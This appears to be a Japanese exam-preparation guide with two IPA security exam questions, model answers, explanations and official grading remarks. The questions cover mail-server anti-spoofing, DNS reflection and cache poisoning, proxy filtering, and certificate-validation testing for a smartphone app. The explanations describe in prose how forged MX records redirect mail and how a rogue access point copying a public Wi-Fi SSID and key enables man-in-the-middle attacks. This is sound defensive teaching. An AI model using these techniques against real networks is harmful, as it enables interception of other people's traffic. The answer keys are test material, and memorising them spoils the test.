問2では,DMZ上の機器のセキュリティ設定の点検を題材に,システム管理者に必要となるネットワークセキュリティに関する設計及び運用の知識について出題した。全体として正答率は低かった。

設問と解答例

設問1 10字以内 解答欄2つ

表2中の a,b に入れる適切な字句を,それぞれ 10 字以内で答えよ。

〔a〕解答例

  • オープンリレー

〔b〕解答例

  • 送信ドメイン
解説

本文の根拠

表2 外部メールサーバ (1)

(1) 迷惑メールの送信に悪用される a を防止するために,エンベロープの宛先メールアドレスのドメイン名が U 社ドメイン以外のメールを拒否

表2 外部メールサーバ (2)

(2) 迷惑メール対策として,b 認証技術の一つである SPF(Sender Policy Framework)によって Fail と判定されたメールを拒否

図2

u-sha.co.jp. IN TXT "v=spf1 +ip4:x1.y1.z1.235 -all"

a:インターネットから受け取ったメールを,宛先が自組織と関係のない第三者であっても中継してしまうメールサーバの状態をオープンリレー(第三者中継)という。迷惑メールの送信者はこれを踏み台にする。表2 (1)のように,エンベロープの宛先のドメイン名が U 社ドメイン以外のメールを拒否すれば,外部メールサーバは U 社宛てのメールしか受け付けず,第三者への中継をしない。

b:SPF は,送信元のドメインの管理者が,そのドメインのメールを送信してよいサーバの IP アドレスを DNS に公開し,受信側が送信元の IP アドレスと照合する仕組みである(RFC 7208)。メールの送信元ドメインを詐称していないかを確かめるこの種の技術を送信ドメイン認証と呼び,SPF のほかに DKIM などがある。図2 は U 社ドメインの SPF の設定で,外部メールサーバ(x1.y1.z1.235)以外から送られた U 社ドメインのメールは“-all”によって Fail と判定される。

字数はそれぞれ 10 字以内で,解答例は a が“オープンリレー”(7 字),b が“送信ドメイン”(6 字)。講評は b の正答率が低かったとし,電子メールを悪用した攻撃手法と対策の理解を求めている。b は“認証技術”の前に入る語なので,“送信ドメイン”までを書き,“送信ドメイン認証”と重ねない。

採点講評(IPA)

設問1bは,正答率が低かった。標的型攻撃の多くは偽装した電子メールから開始される。電子メールを悪用した攻撃手法とそれに対する対策について理解を深めてほしい。

設問2 10字以内 解答欄1つ

図3中及び本文中の c に入れる適切な字句を,10 字以内で答えよ。

〔c〕解答例

  • リフレクション
解説

本文の根拠

図3

オープンリゾルバ防止機能が適切に設定されていない場合に起きる DNS c 攻撃

〔プロキシサーバの設定の点検〕

K さんは,プロキシサーバが DNS c 攻撃に悪用されないようにする対策を含めて,他の設定を点検し,他に問題がないことを確認した。

表2 プロキシサーバ

DNS キャッシュ機能及びオープンリゾルバ防止機能

オープンリゾルバは,誰からの名前解決の問合せにも答えてしまう DNS キャッシュサーバである。攻撃者は,送信元 IP アドレスを攻撃対象の IP アドレスに詐称した問合せをオープンリゾルバに大量に送り,その応答を攻撃対象に送り付けさせる。応答は問合せより大きくできるので,攻撃者の送った量より大きなトラフィックが攻撃対象に届く。これが DNS リフレクション攻撃(DNS アンプ攻撃とも呼ぶ)で,c は“リフレクション”である。

本文は c を“オープンリゾルバ防止機能が適切に設定されていない場合に起きる”攻撃とし,“プロキシサーバが DNS c 攻撃に悪用されないようにする”と書いている。プロキシサーバ自身が被害を受けるのではなく,踏み台として他者への攻撃に悪用される攻撃である点が手掛かりになる。出題趣旨も,他のサイトへの攻撃に加担させられ加害者となることに触れている。

字数は 10 字以内で,解答例は“リフレクション”(7 字)。図3 の 1行目の“DNS キャッシュポイズニング”は別の攻撃としてすでに挙がっているので,c に書かない。

設問3(1) 10字以内 解答欄1つ

本文中の d に入れる適切な字句を,10 字以内で答えよ。

〔d〕解答例

  • 送信元ポート番号
解説

本文の根拠

〔プロキシサーバの設定の点検〕

W 氏は,DNS 名前解決通信では UDP が使われており,UDP ヘッダの d のランダム化が設定されていないと,図4に示すような DNS キャッシュ機能への攻撃が成功する可能性が高まると答えた。

図4 (3)

攻撃者が,プロキシサーバに対して DNS キャッシュポイズニング攻撃を行い,用意した MX レコードを DNS キャッシュに保存させる。

DNS キャッシュポイズニングでは,攻撃者は DNS キャッシュサーバが送った問合せに対し,本物の応答より先に偽の応答を届けようとする。キャッシュサーバは,問合せと同じ ID を持ち,問合せの送信元ポート番号宛てに返ってきた応答だけを受け付ける。送信元ポート番号が固定だと,攻撃者は 16 ビットの ID だけを当てればよいので,偽の応答が受け付けられやすい。送信元ポート番号を問合せごとにランダムにすれば,当てる組合せが増えて攻撃が成功しにくくなる。d は“送信元ポート番号”である。

本文は d を“UDP ヘッダの”項目としている。UDP ヘッダにあるのは送信元ポート番号・宛先ポート番号・長さ・チェックサムで,このうち問合せのたびに問合せ側が選べるのが送信元ポート番号である(宛先は DNS の 53 番に決まっている)。RFC 5452 も,問合せには予測できない送信元ポートを使うことを求めている。

字数は 10 字以内で,解答例は“送信元ポート番号”(8 字)。DNS ヘッダの ID(トランザクション ID)は UDP ヘッダの項目ではないので,本文の“UDP ヘッダの”に合わない。講評は,UDP の仕組みも理解した上で DNS サーバのセキュリティ設定を行ってほしいとしている。

採点講評(IPA)

設問3(1)は,正答率が低かった。DNS名前解決通信ではUDPが使われている。UDPの仕組みも理解した上で,DNSサーバのセキュリティ設定を行ってほしい。

設問3(2) 解答欄2つ

本文中の e に入れる機器名を,図1中の字句を用いて,10 字以内で答えよ。また,本文中の下線①で生じるとしている影響を,40 字以内で具体的に述べよ。

〔e〕解答例

  • 外部メールサーバ

〔影響〕解答例

  • 取引先宛てのメールを,攻撃者が用意したメールサーバに転送してしまう。
解説

本文の根拠

〔プロキシサーバの設定の点検〕

W 氏は,図4の攻撃の結果,e が,DNS キャッシュに保存させられた MX レコードを参照するので,①メール配送に影響が生じることを説明した。

図4

(1) 攻撃者が,メールサーバを用意する。(2) 攻撃者が,取引先ドメイン名の MX レコードを用意する。

表2 外部メールサーバ

インターネットと内部メールサーバとの間のメール転送機能

インターネットへメールを送るのは,表2 で“インターネットと内部メールサーバとの間のメール転送機能”をもつ外部メールサーバである。外部メールサーバは宛先ドメインの MX レコードを引いて転送先のメールサーバを決めるので,プロキシサーバの DNS キャッシュに偽の MX レコードが入ると,それを参照する。e は“外部メールサーバ”である。

図4 の偽の MX レコードは,取引先ドメイン名のメールの配送先を,攻撃者が用意したメールサーバに向けるものである。したがって下線①の影響は,U 社から取引先宛てに送ったメールが,取引先ではなく攻撃者のメールサーバに転送されてしまうことである。メールの中身が攻撃者に渡り,取引先には届かない。

字数は e が 10 字以内,影響が 40 字以内で,解答例は e が“外部メールサーバ”(8 字),影響が“取引先宛てのメールを,攻撃者が用意したメールサーバに転送してしまう。”(34 字)。e は図1 の字句で答える指定なので,“メールサーバ”だけでは内部・外部の区別がつかない。影響は,誰宛てのメールがどこへ行くかを書く。

設問3(3) 20字以内

本文中の下線②の理由は,CONNECT メソッドのどのような仕様によるものか。該当する仕様を,20 字以内で具体的に述べよ。

解答例

  • パス名を送信しないという仕様
解説

本文の根拠

W 氏の回答

PC の Web ブラウザは,CONNECT メソッドを用いてプロキシサーバに接続し,サーバ www.example.ne.jp との間のトンネルの確立を要求する。

W 氏の回答

PC の Web ブラウザは,プロキシサーバからステータスコードが 200 である応答を受信した後,サーバ www.example.ne.jp との間の TLS セッションを開始する。

〔プロキシサーバの設定の点検〕(下線②)

②HTTP over TLS 通信では URL フィルタリングがホスト単位となる

CONNECT メソッドは,プロキシサーバに接続先とのトンネルの確立を求めるメソッドで,リクエストに書くのは接続先のホスト名とポート番号だけである(RFC 9110 の 9.3.6 は,CONNECT のリクエストの対象をトンネルの接続先のホストとポート番号だけからなる形としている)。URL のパス名はこのとき送られないので,プロキシサーバは“www.example.ne.jp”までしか知ることができない。

トンネルができた後のやり取りは,Web ブラウザと www.example.ne.jp との間の TLS セッションで暗号化されるので,その中で送られる“/user035/index.html”のパス名もプロキシサーバには見えない。そのため URL フィルタリングはホスト単位でしか行えない。

字数は 20 字以内で,解答例は“パス名を送信しないという仕様”(14 字)。設問は CONNECT メソッドの仕様を問うているので,“TLS で暗号化されるから”のように TLS の側の理由だけを書くと問いに合わない。

設問4 解答欄2つ

本文中の下線③について,変更箇所を,表2中の字句を用いて 10 字以内で答えよ。また,変更内容を,30 字以内で具体的に述べよ。

〔変更箇所〕解答例

  • ブラックリスト3

〔変更内容〕解答例

  • scanner@u-sha.co.jpを登録する。
解説

本文の根拠

〔外部メールサーバの設定の点検〕

W 氏は,複合機用メールアドレスを詐称したメールがインターネットから送信されて,マルウェア感染が起きるおそれがあることを指摘した。

表1

複合機用メールアドレス:scanner@u-sha.co.jp,全ての複合機に共通のメールアドレスである。送信専用である。

表2 外部メールサーバ (5)

(5) メールヘッダの送信者メールアドレスとブラックリスト3の照合結果によって,メールを拒否

表2 複合機

送信者メールアドレスとして複合機用メールアドレスを用い,スキャンしたイメージを添付したメールを,イメージを作成した本人又は同じ部署の従業員のメールアドレスに送信する。

複合機のメールは U 社内の従業員宛てに送られ,インターネットから外部メールサーバに届くことはない。したがって,インターネットから届いた送信者 scanner@u-sha.co.jp のメールは詐称と判断して拒否してよい。従業員がメールソフトで目にする送信者はメールヘッダの送信者メールアドレスなので,ヘッダの送信者と照合するブラックリスト3 に scanner@u-sha.co.jp を登録する。

エンベロープの送信者(ブラックリスト1)で照合しない理由は次のとおり。攻撃者がエンベロープの送信者を U 社ドメインにすると,表2 (2)の SPF で Fail となり(図2 の“-all”),すでに拒否される。そこで攻撃者は,エンベロープの送信者には別のドメインを使い,ヘッダの送信者だけを scanner@u-sha.co.jp に詐称する。これを止められるのはヘッダの送信者を見るブラックリスト3 である。講評も,エンベロープとメールヘッダの違いを理解していない解答が散見されたとしている。

字数は変更箇所が 10 字以内,変更内容が 30 字以内で,解答例は変更箇所が“ブラックリスト3”(8 字),変更内容が“scanner@u-sha.co.jpを登録する。”(25 字)。変更箇所は表2 の字句で答える指定なので,“ブラックリスト3”と表の名前で書く。登録するのはドメイン名ではなく複合機用メールアドレスである。

採点講評(IPA)

設問4変更内容では,エンベロープとメールヘッダの違いを理解していない解答が散見された。SMTPの仕組み及び電子メールの構造は,偽装した電子メールへの対策を行う上で基本となるので,よく理解しておいてほしい。

出典:平成28年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問2(表記を一部改変)

問3 スマートフォンアプリケーションの試験

スマートフォンアプリケーションの試験に関する次の記述を読んで,設問1,2に答えよ。

S 社は,従業員数 100 名の EC サービス会社である。今回,新たにショッピングサイト(以下,S サイトという)と S サイト専用のスマートフォンアプリケーション(以下,S アプリという)から構成されるシステム(以下,S システムという)の開発プロジェクトを立ち上げた。プロジェクトリーダには,サービス開発部の R さんが任命され,S システムのセキュリティについては,セキュリティ専門業者の A 氏の支援を受けることになった。

〔S システムの概要〕

S システムの構成を図1に,S アプリの機能概要を図2に示す。

構成図。スマートフォン(中に S アプリ)がインターネットに接続し,インターネットが S サイトのルータに接続する。S サイトの中で,ルータの先に FW があり,FW には DMZ の S サーバと,内部ネットワークの DB サーバが接続している。凡例 FW:ファイアウォール,S サーバ:S サイトの Web サーバ,DB サーバ:データベースサーバ。注記 DNS サーバは省略している。
図1 S システムの構成
枠内の箇条書き。・S サーバとの間では HTTP over TLS(以下,HTTPS という)を使って通信を行う。・S アプリ内に,S サーバの FQDN が組み込まれている。・スマートフォンに対応している商用認証局から S サーバに対して発行されたサーバ証明書(以下,S サイト用サーバ証明書という)を,S サーバの認証に使用する。・S サーバと通信ができなかった場合は通信エラー画面を表示し,S サーバを認証できなかった場合はサーバ認証エラー画面を表示する。
図2 S アプリの機能概要(抜粋)

〔S アプリでのサーバ証明書の検証試験〕

開発がテスト工程に入り,R さんは,A 氏と共同で,S システムのセキュリティに関する試験を検討し,S サーバの認証を行うためのサーバ証明書の検証が S アプリで適切に行われていることの確認を試験に含めた。

R さんは,図3に示すサーバ証明書の検証試験環境を S 社内に設置し,スマートフォンからは無線 LAN 機能でこの検証試験環境に接続することにした。また,サーバ証明書の検証試験環境で用いる機器と設定を表1に,不正なサーバ証明書の検出についての試験項目を表2にまとめた。

なお,試験に使うサーバ証明書は,別に用意したプライベート認証局で発行する。

構成図。スマートフォン(中に S アプリ)が破線(無線通信)で W-AP に接続し,W-AP が L2SW に接続する。L2SW には試験用 Web サーバ,試験用 DNS サーバ,試験用 DHCP サーバが接続している。凡例 W-AP:無線 LAN アクセスポイント,L2SW:レイヤ2スイッチ。注記 破線は無線通信を示している。
図3 サーバ証明書の検証試験環境
列は“機器名”と“設定”。試験用 Web サーバ:試験用のサーバ証明書を登録する。試験用 DNS サーバ:[ a ] の FQDN から [ b ] の IP アドレスに名前解決するための A レコードを設定する。試験用 DHCP サーバ:スマートフォン自体の IP アドレス及びサブネットマスク,並びにスマートフォンが参照する DNS サーバの IP アドレスを割り当てる。
表1 サーバ証明書の検証試験環境で用いる機器と設定(抜粋)
列は“項番”“試験項目”“試験方法”“期待される結果”。項番1 発行者が不正であることの検出:・試験用 Web サーバに次の値のサーバ証明書を登録する。サブジェクトのコモンネーム:S サイト用サーバ証明書と同一の値,有効期間の開始と終了:S サイト用サーバ証明書と同一の値 ・スマートフォンにプライベート認証局のルート証明書を登録しない。期待される結果:[ d ]。項番2 有効期間内でないことの検出:・試験用 Web サーバに次の値のサーバ証明書を登録する。サブジェクトのコモンネーム:S サイト用サーバ証明書と同一の値,有効期間の開始:S サイト用サーバ証明書と同一の値,有効期間の終了:[ c ] ・スマートフォンにプライベート認証局のルート証明書を登録する。期待される結果:[ d ]。
表2 不正なサーバ証明書の検出についての試験項目(抜粋)
列は“項番”“試験項目”“試験方法”“期待される結果”。項番3 サブジェクトのコモンネームが不正であることの検出:・試験用 Web サーバに次の値のサーバ証明書を登録する。サブジェクトのコモンネーム:[ a ] の FQDN とは異なる値,有効期間の開始と終了:S サイト用サーバ証明書と同一の値 ・スマートフォンにプライベート認証局のルート証明書を登録する。期待される結果:[ d ]。
表2 不正なサーバ証明書の検出についての試験項目(抜粋)(続き)

なお,S アプリと試験用 Web サーバ間で HTTPS 通信が確立することは,サーバ証明書の検証試験を実施する前に,試験用 Web サーバに S サイト用サーバ証明書を登録して確認している。

A 氏は,図3,表1及び表2のレビューを行い,問題がないことを確認した。R さんが試験を実施した結果,S アプリでのサーバ証明書の検証に不備は見つからなかった。

〔S アプリでのサーバ証明書の検証不備による影響の検討〕

R さんは,S アプリでのサーバ証明書の検証に不備がある場合に,どのような攻撃が行われると影響を受けるのかを,A 氏に質問した。A 氏は,中間者攻撃に用いられる環境の例を図4に示した。

構成図。スマートフォン(中に S アプリ)が破線(無線通信)で“攻撃者が準備する機器”の W-AP に接続する。攻撃者が準備する機器の中で,W-AP が L2SW に接続し,L2SW には中間者サーバ,DNS サーバ,DHCP サーバが接続している。中間者サーバはインターネットに接続し,インターネットの先に S サイトがある。注記 破線は無線通信を示している。
図4 中間者攻撃に用いられる環境の例

図4では,攻撃者が中間者サーバを含む機器を準備し,その先でインターネットを介して S サイトに接続している。中間者サーバは,S アプリとの間,及び S サイトとの間で,独立した二つの HTTPS 通信を確立し,中継する。

R さんは A 氏に,例えば,表3に示す攻撃者が準備するサーバ証明書のうち,どれを使用すると中間者攻撃が成功するのかを質問した。A 氏は,もし S アプリにサーバ証明書の検証不備があると,表4のとおり攻撃が成功すると答えた。

列は“証明書番号”“発行者”“サブジェクトのコモンネーム”。証明書番号1:発行者はスマートフォンに対応している商用認証局,サブジェクトのコモンネームは攻撃者が所有しているドメインを使用した FQDN。証明書番号2:発行者は攻撃者が準備するプライベート認証局,サブジェクトのコモンネームは攻撃者が所有しているドメインを使用した FQDN。証明書番号3:発行者は攻撃者が準備するプライベート認証局,サブジェクトのコモンネームは S サーバの FQDN。証明書番号4:発行者は攻撃者が準備するプライベート認証局,サブジェクトのコモンネームは上記二つ以外の FQDN。
表3 攻撃者が準備するサーバ証明書
列は“項番”,“サーバ証明書の検証状況”(“発行者の検証不備”と“サブジェクトのコモンネームの検証不備”の2列),“中間者攻撃が成功するサーバ証明書”。項番1:発行者の検証不備 あり,サブジェクトのコモンネームの検証不備 あり,[ e ]。項番2:発行者の検証不備 あり,サブジェクトのコモンネームの検証不備 なし,[ f ]。項番3:発行者の検証不備 なし,サブジェクトのコモンネームの検証不備 あり,[ g ]。
表4 中間者攻撃が成功するサーバ証明書

A 氏は,サーバ証明書の検証不備がある場合に,①S アプリの利用者が,図4中の W-AP に接続すると,中間者攻撃を受けることを説明した。説明を受けた R さんは,表2の試験において,S アプリに不備が見つからなかったことから,中間者攻撃を受けた場合には利用者が気付くことができると判断した。

その後,残りの工程も完了し,S 社では S システムを無事リリースした。

出題趣旨(IPA)

スマートフォンアプリケーションが増加している中,各種の脆弱性が見つかっており,その中でもサーバ証明書の検証不備の脆弱性は多い。これは,サーバ証明書を,その役割を正しく認識せずに,単に暗号化通信を行うために使用していることが原因だと考えられる。本問では,スマートフォンアプリケーションの試験を題材に,サーバ証明書の検証不備に焦点を当て,検証不備を確認するための試験方法及び試験環境を設計する能力,並びにサーバ証明書の検証不備を用いた中間者攻撃についての理解を問う。

採点講評(問全体・IPA)

問3では,スマートフォンアプリケーションの試験を題材に,サーバ証明書の検証不備に焦点を当て,検証機能を確認するための試験方法及び試験環境,並びにサーバ証明書の検証不備を用いた中間者攻撃の基礎的な知識及び攻撃環境について出題した。全体として正答率は高かった。

設問と解答例

設問1(1) 解答欄1つ

表1中及び表2中の a に入れる適切な字句を,図1中又は図3中の構成要素から選び,答えよ。

〔a〕解答例

  • Sサーバ
解説

本文の根拠

図2

S アプリ内に,S サーバの FQDN が組み込まれている。

表1 試験用 DNS サーバ

a の FQDN から b の IP アドレスに名前解決するための A レコードを設定する。

表2 項番3

サブジェクトのコモンネーム:a の FQDN とは異なる値

S アプリは組み込まれた S サーバの FQDN で接続先を名前解決する。検証試験環境で S アプリを試験用 Web サーバにつながせるには,試験用 DNS サーバが S サーバの FQDN を試験用 Web サーバの IP アドレスに名前解決すればよい。a は“Sサーバ”である。

表2 の項番3 も,サブジェクトのコモンネームを“a の FQDN とは異なる値”にして,コモンネームの不正を検出させる試験である。S アプリが接続しようとしているのは S サーバの FQDN なので,それと異なるコモンネームの証明書は不正となる。a が S サーバで,二つの表の意味が通る。

字数制限は無く,図1 又は図3 の構成要素から選ぶ。解答例は“Sサーバ”(4 字)。講評は,(1)と(2)について S システムの構成とサーバ証明書の検証試験環境の対応を理解していない解答が散見されたとしている。“試験用Webサーバ”を a に入れると,S アプリが組み込まれた FQDN を使う点と合わない。

採点講評(IPA)

設問1は,全体的に正答率は高かったが,(1)と(2)については,Sシステムの構成とサーバ証明書の検証試験環境の対応を理解していない解答が散見された。

設問1(2) 解答欄1つ

表1中の b に入れる適切な字句を,図1中又は図3中の構成要素から選び,答えよ。

〔b〕解答例

  • 試験用Webサーバ
解説

本文の根拠

表1 試験用 DNS サーバ

a の FQDN から b の IP アドレスに名前解決するための A レコードを設定する。

表1 試験用 Web サーバ

試験用 Web サーバ:試験用のサーバ証明書を登録する。

〔S アプリでのサーバ証明書の検証試験〕

なお,S アプリと試験用 Web サーバ間で HTTPS 通信が確立することは,サーバ証明書の検証試験を実施する前に,試験用 Web サーバに S サイト用サーバ証明書を登録して確認している。

設問1(1)のとおり,S アプリが S サーバの FQDN で接続すると,試験用 DNS サーバの A レコードによって接続先が試験用 Web サーバになる必要がある。試験用のサーバ証明書は試験用 Web サーバに登録するので,S アプリはその証明書を受け取って検証する。b は“試験用Webサーバ”である。

本文も,S アプリと試験用 Web サーバ間で HTTPS 通信が確立することを事前に確認したとしており,S アプリの接続先が試験用 Web サーバであることを前提にしている。A レコードは FQDN を IP アドレスに対応付けるレコードなので,“S サーバの FQDN → 試験用 Web サーバの IP アドレス”となる。

字数制限は無く,図1 又は図3 の構成要素から選ぶ。解答例は“試験用Webサーバ”(9 字)。“試験用 DNS サーバ”“試験用 DHCP サーバ”は名前解決や IP アドレスの割当ての役で,証明書を提示するサーバではない。

採点講評(IPA)

設問1は,全体的に正答率は高かったが,(1)と(2)については,Sシステムの構成とサーバ証明書の検証試験環境の対応を理解していない解答が散見された。

設問1(3) 15字以内 解答欄1つ

表2中の c に入れる適切な字句を,15 字以内で答えよ。

〔c〕解答例

  • 試験の実施よりも前の日時
解説

本文の根拠

表2 項番2

項番2 有効期間内でないことの検出

表2 項番2

有効期間の開始:S サイト用サーバ証明書と同一の値,有効期間の終了:c

項番2 は“有効期間内でないことの検出”の試験である。有効期間の開始は S サイト用サーバ証明書と同じなので,試験の時点で有効期間外にするには,有効期間の終了を試験の実施よりも前の日時にすればよい。こうすると,試験の時点で有効期限の切れた証明書になる。c は“試験の実施よりも前の日時”である。

項番2 では,発行者の検証で引っかからないようプライベート認証局のルート証明書をスマートフォンに登録し,コモンネームも S サイト用サーバ証明書と同じにしている。有効期間だけを不正にすることで,S アプリが有効期間を検証しているかどうかだけを確かめられる。

字数は 15 字以内で,解答例は“試験の実施よりも前の日時”(12 字)。開始が S サイト用サーバ証明書と同じなので,終了は開始より後で,かつ試験より前である必要がある。“過去の日時”のような書き方では,開始より前の日時も含んでしまう点に注意する。

設問1(4) 30字以内 解答欄1つ

表2の試験で,S アプリが試験項目どおりに動作している場合に,どのような結果となるか。d に入れる適切な結果を,本文中又は図表中の字句を用いて,30 字以内で具体的に述べよ。

〔d〕解答例

  • Sアプリがサーバ認証エラー画面を表示する。
解説

本文の根拠

図2

S サーバと通信ができなかった場合は通信エラー画面を表示し,S サーバを認証できなかった場合はサーバ認証エラー画面を表示する。

表2

期待される結果:d。

表2 の三つの試験は,どれも不正なサーバ証明書(発行者が不正,有効期間外,コモンネームが不正)を S アプリに受け取らせるものである。S アプリが試験項目どおりに証明書を検証していれば,S サーバを認証できない。図2 は,S サーバを認証できなかった場合はサーバ認証エラー画面を表示するとしているので,d は“Sアプリがサーバ認証エラー画面を表示する。”となる。

試験用 Web サーバとの通信自体はできる(HTTPS 通信の確立は事前に確認している)ので,通信エラー画面ではない。項番1~3 の期待される結果が同じ d になっているのも,どの不正でも認証の失敗として扱われるからである。

字数は 30 字以内で,本文中又は図表中の字句を用いる指定である。解答例は“Sアプリがサーバ認証エラー画面を表示する。”(21 字)。図2 の“サーバ認証エラー画面”の字句をそのまま使い,“通信エラー画面”と取り違えない。

設問2(1) 解答欄3つ

表4中の e~g に入れるサーバ証明書を,それぞれ表3中から全て選び,証明書番号で答えよ。

〔e〕解答例

  • 1,2,3,4

〔f〕解答例

  • 3

〔g〕解答例

  • 1
解説

本文の根拠

表3

証明書番号1:発行者はスマートフォンに対応している商用認証局,サブジェクトのコモンネームは攻撃者が所有しているドメインを使用した FQDN。

表3

証明書番号3:発行者は攻撃者が準備するプライベート認証局,サブジェクトのコモンネームは S サーバの FQDN。

表4

項番1:発行者の検証不備 あり,サブジェクトのコモンネームの検証不備 あり,e。項番2:発行者の検証不備 あり,サブジェクトのコモンネームの検証不備 なし,f。項番3:発行者の検証不備 なし,サブジェクトのコモンネームの検証不備 あり,g。

e:発行者もコモンネームも検証しないので,どの証明書でも受け入れてしまう。表3 の 1~4 の全てで攻撃が成功するので,e は“1,2,3,4”である。f:発行者は検証しないが,コモンネームが S サーバの FQDN であることは確かめる。コモンネームが S サーバの FQDN の証明書 3 だけが通るので,f は“3”。g:コモンネームは検証しないが,発行者がスマートフォンの信頼する認証局であることは確かめる。商用認証局が発行した証明書 1 だけが通るので,g は“1”。

証明書 1 は,攻撃者が自分のドメインについて商用認証局から正規に取得できる証明書である。発行者は正しいので,コモンネームを確かめない S アプリには本物と区別できない。講評は,e についてプライベート認証局で発行された証明書だけを選んだ解答が散見されたとし,検証不備の状況によっては商用認証局が発行したサーバ証明書でも中間者攻撃が成功することを理解してほしいとしている。

字数制限は無く,表3 から全て選ぶ設問である。解答例は e が“1,2,3,4”,f が“3”,g が“1”。e は二つの検証がどちらも無いので,発行者が商用認証局の証明書 1 も含めて全部が当てはまる。

採点講評(IPA)

設問2は,(1)eと(2)の正答率が低かった。(1)eについては,中間者攻撃が成功するサーバ証明書として,プライベート認証局で発行されたサーバ証明書だけを選んだ解答が散見された。サーバ証明書の検証不備の状況によっては,商用認証局が発行したサーバ証明書でも中間者攻撃が成功することを理解しておいてほしい。(2)については,無線LANアクセスポイントへの接続の仕組みを理解していない解答が散見された。

設問2(2) 45字以内

本文中の下線①について,攻撃者が,W-AP の設定をどのように細工すると,S アプリの利用者のうち,公衆無線 LAN の利用者のスマートフォンを自動的に W-AP に接続させることができてしまうか。W-AP の設定上の細工を 45 字以内で具体的に述べよ。

解答例

  • SSID,暗号化方式と事前共有鍵に,公衆無線LANで使用されているものを設定する。
解説

本文の根拠

〔S アプリでのサーバ証明書の検証不備による影響の検討〕(下線①)

①S アプリの利用者が,図4中の W-AP に接続すると,中間者攻撃を受けることを説明した。

図4

スマートフォン(中に S アプリ)が破線(無線通信)で“攻撃者が準備する機器”の W-AP に接続する。

スマートフォンは,一度接続した無線 LAN の SSID と接続の設定を覚えておき,同じ SSID・同じ設定のアクセスポイントの電波を見つけると自動的に接続する。攻撃者が W-AP の SSID,暗号化方式と事前共有鍵を,公衆無線 LAN で使われているものと同じに設定すれば,その公衆無線 LAN を利用したことのあるスマートフォンは,本物と区別せずに W-AP に自動接続してしまう。

こうして W-AP に接続させれば,図4 のとおり,攻撃者の DHCP サーバ・DNS サーバを使わせて,S サイトへの通信を中間者サーバに向けられる。公衆無線 LAN は利用者に事前共有鍵を広く知らせることが多いので,攻撃者も同じ値を設定できる。講評は,無線 LAN アクセスポイントへの接続の仕組みを理解していない解答が散見されたとしている。

字数は 45 字以内で,解答例は“SSID,暗号化方式と事前共有鍵に,公衆無線LANで使用されているものを設定する。”(41 字)。解答例は SSID だけでなく暗号化方式と事前共有鍵も挙げているので,SSID と暗号化の設定の両方を公衆無線 LAN に合わせることを書く。

採点講評(IPA)

設問2は,(1)eと(2)の正答率が低かった。(1)eについては,中間者攻撃が成功するサーバ証明書として,プライベート認証局で発行されたサーバ証明書だけを選んだ解答が散見された。サーバ証明書の検証不備の状況によっては,商用認証局が発行したサーバ証明書でも中間者攻撃が成功することを理解しておいてほしい。(2)については,無線LANアクセスポイントへの接続の仕組みを理解していない解答が散見された。

出典:平成28年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問3(表記を一部改変)